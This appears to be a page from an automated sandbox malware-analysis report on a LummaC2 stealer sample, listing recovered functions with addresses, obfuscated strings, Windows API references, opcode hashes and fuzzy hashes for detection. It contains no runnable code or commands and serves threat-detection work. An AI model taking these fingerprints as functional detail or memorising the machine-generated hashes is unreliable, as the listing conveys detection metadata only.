String ID: &%9b$)vBW$*#1/$9&!:$s$>%$sp$.$x$x|."
API String ID: 0-2964809603
Opcode ID: e15111653fabfa8ae9ca1ff26d6d509ab9527342194df1257f5b8c1e77c5e471
Instruction ID: 33702de4e9ccbda8cb62e36c28e3d765444ae155781b1dd9af56996da579b68a
Opcode Fuzzy Hash: e15111653fabfa8ae9ca1ff26d6d509ab9527342194df1257f5b8c1e77c5e471
Instruction Fuzzy Hash: 9651F37060C3D18BD315CF2994A036BBFE0AF93305F5859ADE4D54B391D27A880ACB66

Function 004441E0 Relevance: 6.7, Strings: 5, Instructions: 461COMMON

Download Yara Rule

Strings

|~, xrefs: 00444284
)6, xrefs: 00444294
sq, xrefs: 00444375
){zy, xrefs: 00444385
)B, xrefs: 0044428C

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: ){zy$)6$)B$|~$sq
API String ID: 0-2449703377
Opcode ID: c59b3b9bc0cf7f9378a0e89c0ab610f7bec88eeb8377ec5984a269fede81ee69
Instruction ID: bdbe6c0ea8a1ae8e221e1375a65b3fd78a9391b4b74a499ee43f590477bc70e5
Opcode Fuzzy Hash: c59b3b9bc0cf7f9378a0e89c0ab610f7bec88eeb8377ec5984a269fede81ee69
Instruction Fuzzy Hash: 58C10FB15083108BE724CF29D85276BB7F1EFD2354F198A1DE4D68B390EB399805CB96

Function 0043E298 Relevance: 6.3, APIs: 4, Instructions: 347COMMON

Download Yara Rule

APIs

FindWindowExW.USER32(00000000,?,A3D19DEA,00000000), ref: 0043E410

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 09b253a8be3e19379f91c8a4f71c5c1f4bdfcae3a36cbde9d3e53de72977d5cd
Instruction ID: ac2ba650a3fa16b14833e33eddb892d1634b6e44b979b39594e68032df65ec68
Opcode Fuzzy Hash: 09b253a8be3e19379f91c8a4f71c5c1f4bdfcae3a36cbde9d3e53de72977d5cd
Instruction Fuzzy Hash: 3AD1DE756083518FC725CF29D84165FBBE2EFC9308F08896EE4899B391DB74D906CB86

Function 00448F00 Relevance: 5.5, Strings: 4, Instructions: 489COMMON

Download Yara Rule

Strings

HyJ{, xrefs: 00448B1F
TeVg, xrefs: 00448B17
;:54, xrefs: 00448980
pq, xrefs: 00448B35

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: ;:54$HyJ{$TeVg$pq
API String ID: 0-3800776496
Opcode ID: 8b0ed51aa7e2249c84abfe54c1b970498d24472ad861ccb661dbf1fd4ac52bab
Instruction ID: 885d7b58846c20fd14c5ffd40a4e42edc8fccaafc2500c03fcaae295b119d185
Opcode Fuzzy Hash: 8b0ed51aa7e2249c84abfe54c1b970498d24472ad861ccb661dbf1fd4ac52bab
Instruction Fuzzy Hash: B6F1F0729083528BD720CF24C8806AFB3E2FFC5744F19886DE5C55B364EB749946DB8A

Function 004559B7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00455A05
GetSystemMetrics.USER32 ref: 00455A14

Strings

, xrefs: 00455AE8

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 0620edec5b295dd782a540c5320f8afc702b6b14e3f7ea047a548ee5e40ea119
Instruction ID: 33655badf1b541bf7767b259d52890361e22ff11d8b4a96be1dcf93b5745b38c
Opcode Fuzzy Hash: 0620edec5b295dd782a540c5320f8afc702b6b14e3f7ea047a548ee5e40ea119
Instruction Fuzzy Hash: A25180B0E142048FCB40EFACD99569EBBF0BB48310F10856EE898E7350E774A945CF96

Function 00462EB0 Relevance: 4.8, Strings: 3, Instructions: 1010COMMON

Download Yara Rule

Strings

G3F, xrefs: 0046331A
@3F, xrefs: 0046336E
"5F, xrefs: 004634F8

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: "5F$@3F$G3F
API String ID: 0-3407763341
Opcode ID: 94a199657bdef1cc3a7e96c2e6807e138e37fd45eb2e8c1b2453bc6910f5da56
Instruction ID: 6d45a14234058cbda891808f6ec7986ba859f67ff7fcfed87b3b88e914d9460d
Opcode Fuzzy Hash: 94a199657bdef1cc3a7e96c2e6807e138e37fd45eb2e8c1b2453bc6910f5da56
Instruction Fuzzy Hash: BC62F035B04211CFCB08CF68D8902AEB7F2FB8A315F19807ED846A7395E674AD05CB85

Function 004631D0 Relevance: 4.4, Strings: 3, Instructions: 680COMMON

Download Yara Rule

Strings

G3F, xrefs: 0046331A
@3F, xrefs: 0046336E
"5F, xrefs: 004634F8

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: "5F$@3F$G3F
API String ID: 0-3407763341
Opcode ID: e35c36ec2a90154711e2ad1efb8f611dcd51fbd934ca0d0e261a620d9df03ab7
Instruction ID: c652e48ea7b0fc3ec318d54ba620b3843768362bc5fb915305915e86e1452310
Opcode Fuzzy Hash: e35c36ec2a90154711e2ad1efb8f611dcd51fbd934ca0d0e261a620d9df03ab7
Instruction Fuzzy Hash: D112F135A05211CFCB08CF68E8906AEB7F2FB8A315F19807DC946A7351E375AD05CB85

Function 00441B40 Relevance: 4.4, Strings: 3, Instructions: 657COMMON

Download Yara Rule

Strings

;:54, xrefs: 00441CEE
;:54, xrefs: 00441C79
s}, xrefs: 00441C18

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID: ;:54$;:54$s}
API String ID: 2994545307-2837035532
Opcode ID: b77752540605d966e39c18f8ca6102453ebbd45dfd806127327354cbc289b101
Instruction ID: 43845bfca5043767000bdf167a4d8645225de76d75f464a15cf3a979ea149012
Opcode Fuzzy Hash: b77752540605d966e39c18f8ca6102453ebbd45dfd806127327354cbc289b101
Instruction Fuzzy Hash: 722201B16083408BE724CF25C841B6FB7E2EBC5744F54882EFA859B391D778D885CB5A

Function 004632C0 Relevance: 4.4, Strings: 3, Instructions: 637COMMON

Download Yara Rule

Strings

G3F, xrefs: 0046331A
@3F, xrefs: 0046336E
"5F, xrefs: 004634F8

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: "5F$@3F$G3F
API String ID: 0-3407763341
Opcode ID: 5e25d52007c465aa5bf2e2ce76a07fe85fea334afba6507d52d51c823f947198
Instruction ID: 2839a4c9c5734908ad6010760f19e1b63680438efe24ea306c8e593cd9ba52b5
Opcode Fuzzy Hash: 5e25d52007c465aa5bf2e2ce76a07fe85fea334afba6507d52d51c823f947198
Instruction Fuzzy Hash: 67020235A05211CFCB08CF68E8906AEB7F2FB8A315F19807DC886A7341E775AD05CB55

Function 0044AC04 Relevance: 4.3, Strings: 3, Instructions: 578COMMON

Download Yara Rule

Strings

SRP\, xrefs: 0044B030
YB]G, xrefs: 0044B048
TU, xrefs: 0044B338

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: SRP\$TU$YB]G
API String ID: 0-3716301176
Opcode ID: ff686be92c1290b54a4b7b937d0d3ff36030d00f7eaa2b472dac2d77878edd83
Instruction ID: 80ffbecac083a27d17aeb57cd64cac0e5d1b0f3f2538d4de6722eba8f956ea7e
Opcode Fuzzy Hash: ff686be92c1290b54a4b7b937d0d3ff36030d00f7eaa2b472dac2d77878edd83
Instruction Fuzzy Hash: 8B0236B16083418FE7149F25D89126BB7E2EFD6305F18892EE4C587352E378D90ACB97

Function 0043D5AF Relevance: 4.2, Strings: 3, Instructions: 404COMMON

Download Yara Rule

Strings

J, xrefs: 0043D70E
;:54, xrefs: 0043D5E1, 0043D5F8
r, xrefs: 0043D739

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: ;:54$J$r
API String ID: 0-2889753551
Opcode ID: 01d76527fa9ba2f2533f7bf15e79dd1fd3dd207578edb314e4cd1ff21c0d3f04
Instruction ID: 0c98b9fa4487acecdb7e985282db8265e29e44a125f1b9e4abfc7ccc2c0d4289
Opcode Fuzzy Hash: 01d76527fa9ba2f2533f7bf15e79dd1fd3dd207578edb314e4cd1ff21c0d3f04
Instruction Fuzzy Hash: A0D106B1A083408FD7248F24D8917AFB7E1EF9A304F04892EE5D987352E7789941CB97

Function 0042E8D6 Relevance: 3.8, Strings: 3, Instructions: 52COMMON

Download Yara Rule

Strings

j, xrefs: 0042E91D
:g;1, xrefs: 0042E8DE
%!-0, xrefs: 0042E906

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: %!-0$:g;1$j
API String ID: 0-565037024
Opcode ID: 32f4fd5892887e894410713161e4d6d8582e88a8c086e671560870f2e23a5230
Instruction ID: 5048a5829d5f24ac4dae59b6cd2abfac2605b60516eeb1de65146383387802d6
Opcode Fuzzy Hash: 32f4fd5892887e894410713161e4d6d8582e88a8c086e671560870f2e23a5230
Instruction Fuzzy Hash: 6811B2B03093A0CBC7518F26A45012BFBE0EB82708F985E5EE0D26B351D3B5C9468B4A

Function 0042E996 Relevance: 3.8, Strings: 3, Instructions: 25COMMON

Download Yara Rule

Strings

%!-0, xrefs: 0042E9C6
j, xrefs: 0042E9DD
:g;1, xrefs: 0042E99E

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: %!-0$:g;1$j
API String ID: 0-565037024
Opcode ID: fa23b5c8106c8b6eb18a1e5e27922acec8cb3fb0240a5a66eefb843f2f12593b
Instruction ID: 5079351afcde57cf3860205797b44d3bcaf468154ca4901d47779ece4c7a92c4
Opcode Fuzzy Hash: fa23b5c8106c8b6eb18a1e5e27922acec8cb3fb0240a5a66eefb843f2f12593b
Instruction Fuzzy Hash: FEF067B00083408BC7018F29955141FFFE0FBE6218F806F1CE0E66B281D3B4C60A8B4B

Function 004633B0 Relevance: 1.8, Strings: 1, Instructions: 572COMMON

Download Yara Rule

Strings

"5F, xrefs: 004634F8

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: "5F
API String ID: 0-4177948047
Opcode ID: b01aa4ff1e3fc83fd2c587186ad924ab3ef401c644724cd53b26b96d8d6e956e
Instruction ID: 15d9692f2ae116806e1e3e25e11abb313457ad940cf6669a21ff5dec0cb2c45d
Opcode Fuzzy Hash: b01aa4ff1e3fc83fd2c587186ad924ab3ef401c644724cd53b26b96d8d6e956e
Instruction Fuzzy Hash: 5A02F035A05215CFCB08CF68E8906EEB7F2FB8A314F19807EC886A7341E775A905CB55

Function 00445F00 Relevance: 1.8, APIs: 1, Instructions: 251comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004679D8,00000000,00000001,004679C8), ref: 00445F29

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 361706cc3e609fe1747ed462982e827cf948d639be3660cba81574134e11f25a
Instruction ID: 19c46ded07e12e573f349a14e8a9b536b9168135a3bf170e6761847c0fe51881
Opcode Fuzzy Hash: 361706cc3e609fe1747ed462982e827cf948d639be3660cba81574134e11f25a
Instruction Fuzzy Hash: 8C61BDB12002049BEB24DF24CC92BB733A4EF96758F058559F946CB392F779E805C76A

Function 0044E400 Relevance: 1.6, Strings: 1, Instructions: 382COMMON

Download Yara Rule

Strings

", xrefs: 0044E6E8

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 93ecab8819888c1490301e4ea4446f15b79a23bacf294943aa3e848e668045df
Instruction ID: a3be0896f7367871f09dedcf42b59a960c4265eda9f618abb25b509fc347c1e2
Opcode Fuzzy Hash: 93ecab8819888c1490301e4ea4446f15b79a23bacf294943aa3e848e668045df
Instruction Fuzzy Hash: 25C1F5B2A043105BFB14DE26C49076BB7E5BF94314F19892FE89987382E738EC45C796

Function 00441333 Relevance: 1.5, Strings: 1, Instructions: 288COMMON

Download Yara Rule

Strings

US, xrefs: 004410B4

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: US
API String ID: 0-1549774597
Opcode ID: a6745c195e9b5af02a097fe6efcead2175d1158ca07176a8af0371c8dbdea59b
Instruction ID: 5f4ae655ed6c19d6749872d8dab169af8998056a038c13fb2d0be68d5b24dcf6
Opcode Fuzzy Hash: a6745c195e9b5af02a097fe6efcead2175d1158ca07176a8af0371c8dbdea59b
Instruction Fuzzy Hash: 7C816DB1900215CBDB10CF64C8926BBB3B0FF45364F28815AD456AF7A1E339D986CBD9

Function 0045F7E0 Relevance: 1.5, Strings: 1, Instructions: 259COMMON

Download Yara Rule

Strings

InA>, xrefs: 0045F8A0

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID: InA>
API String ID: 2994545307-2903657838
Opcode ID: 650fdf71a2d434517127f045605eeca6666c18c7995c776a0927b7eb5321e11f
Instruction ID: f16f135c2a76af9121fe223beb83b2791bfbffe5c779273db94a84a3afbfc784
Opcode Fuzzy Hash: 650fdf71a2d434517127f045605eeca6666c18c7995c776a0927b7eb5321e11f
Instruction Fuzzy Hash: D3710671608701ABD714DE28C884B3BBBE2ABC4311F14853EED9587356D6799C4DC78B

Function 0044E870 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0044EA6E

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: 757c4f7c93d168643a601e874b33d2244b3ae8680e946f60f4d6f93e1e147593
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 4F71E532A083554BFB14CE2AC48031FB7E2BBC5750F29896FE4959B391D239EC45878A

Function 0044CEDA Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

;:54, xrefs: 0044CEFC

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: ;:54
API String ID: 0-2887251705
Opcode ID: bbe562077f9185b57f26aa6604394310ae80144a8b849fb4900407bf53a11bcd
Instruction ID: 501b9d51d1d18f4db7f471eb1a0438cc7854f09173dacbe21c1ced22be5b16f0
Opcode Fuzzy Hash: bbe562077f9185b57f26aa6604394310ae80144a8b849fb4900407bf53a11bcd
Instruction Fuzzy Hash: 0B01B1316192009BE7588F5098C153BB363EB95314F2C946ED98917256C37C9C468B5A

Function 00461720 Relevance: .5, Instructions: 497COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 853dd0f555ecd8b31ac90c69aac8382a56707acc4ca6604b64dfb6551270c4ef
Instruction ID: 877ce73001f6c436862d3eedefe4401aa5a4199dd50fa8dc8d72431f02cd2486
Opcode Fuzzy Hash: 853dd0f555ecd8b31ac90c69aac8382a56707acc4ca6604b64dfb6551270c4ef
Instruction Fuzzy Hash: 42F15736A08351CFC714CF39D89012AB7E2BB89310F19867DD995C7392E779E942CB86

Function 00463720 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b59f228fcd9a64c61a64e8ee333859bb05a601860f968b1038c239554424d74c
Instruction ID: d0f15f0826bcac3a7bcb01e24b9131eacecd30e6d5d22e6b9e87dbda7e96c473
